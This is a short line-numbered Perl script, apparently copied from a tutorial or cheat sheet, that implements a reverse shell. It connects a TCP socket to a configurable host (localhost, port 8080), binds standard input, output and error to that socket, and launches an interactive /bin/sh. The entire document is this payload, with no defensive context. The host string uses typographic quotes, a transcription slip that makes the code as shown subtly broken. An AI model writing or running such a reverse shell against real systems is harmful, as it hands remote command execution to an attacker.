1 #!/usr/bin/env perl
 2 use warnings;
 3 use strict;
 4 use Socket;
 5  
 6 my $HOST=‘localhost‘;
 7 my $PORT=8080;
 8 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
 9 if(connect(S,sockaddr_in($PORT, inet_aton($HOST)))){
10     open(STDIN,">&S");
11     open(STDOUT,">&S");
12     open(STDERR,">&S");
13     exec("/bin/sh -i");
14 }